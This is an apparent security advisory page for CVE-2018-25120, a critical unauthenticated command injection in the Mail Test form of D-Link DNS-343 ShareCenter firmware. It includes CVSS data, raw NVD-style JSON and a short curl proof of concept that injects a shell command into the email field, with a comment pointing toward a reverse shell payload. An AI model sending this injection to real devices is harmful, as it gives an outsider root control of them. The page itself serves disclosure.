Security Vulnerability Report
中文
CVE-2018-25120 CVSS 9.8 CRITICAL

CVE-2018-25120

Published: 2025-10-29 19:15:37
Last Modified: 2025-11-28 17:01:33

Description

D-Link DNS-343 ShareCenter devices running firmware versions up to and including 1.05 contain a command injection vulnerability in the Mail Test functionality. The web maintenance script posts to the internal goForm endpoint '/goform/Mail_Test' and uses several form parameters directly in a call to a system email utility without proper input validation. An unauthenticated remote attacker can supply crafted form data that injects shell commands, resulting in execution as root on the device. NOTE: The DNS-343 product line has been declared end-of-life.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:dns-343_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dns-343:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DNS-343 ShareCenter firmware <= 1.05

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2018-25120 PoC - D-Link DNS-343 Mail Test Command Injection # Target: D-Link DNS-343 ShareCenter with firmware <= 1.05 # Author: VulnCheck # Note: This PoC demonstrates the vulnerability for authorized security testing only TARGET="http://TARGET_IP" # Replace TARGET_IP with the actual IP address of the vulnerable device # Construct malicious payload with command injection # Inject: sleep 5 command to verify vulnerability PAYLOAD="[email protected]; sleep 5; #" # Send exploit request to /goform/Mail_Test endpoint curl -X POST "${TARGET}/goform/Mail_Test" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=${PAYLOAD}&server=smtp.test.com&port=25&[email protected]" \ -w "\nHTTP Status: %{http_code}\n" \ -o /dev/null -s echo "PoC executed. Check if response is delayed by 5 seconds." echo "For actual exploitation, replace 'sleep 5' with reverse shell payload."

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2018-25120", "sourceIdentifier": "[email protected]", "published": "2025-10-29T19:15:36.953", "lastModified": "2025-11-28T17:01:33.170", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "D-Link DNS-343 ShareCenter devices running firmware versions up to and including 1.05 contain a command injection vulnerability in the Mail Test functionality. The web maintenance script posts to the internal goForm endpoint '/goform/Mail_Test' and uses several form parameters directly in a call to a system email utility without proper input validation. An unauthenticated remote attacker can supply crafted form data that injects shell commands, resulting in execution as root on the device. NOTE: The DNS-343 product line has been declared end-of-life."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dns-343_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.0.5", "matchCriteriaId": "A026B1D4-95B3-4F7A-B206-E8FE8E52AC01"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dns-343:-:*:*:*:*:*:*:*", "matchCriteriaId": "F968791D-D3BD-442C-818E-4E878B12776D"}]}]}], "references": [{"url": "https://github.com/jamesbercegay/advisories/blob/master/%5BGTSA-00128%5D%20D-Link%20DNS-343%20ShareCenter%201.05%20Remote%20Root.txt", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://qkl.seebug.org/vuldb/ssvid-97088", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.dlink.com/al/sq/products/dns-343-sharecenter-4-bay-network-storage-enclosure", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/43845", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/dlink-dns343-sharecenter-command-injection-via-goform-mail-test", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}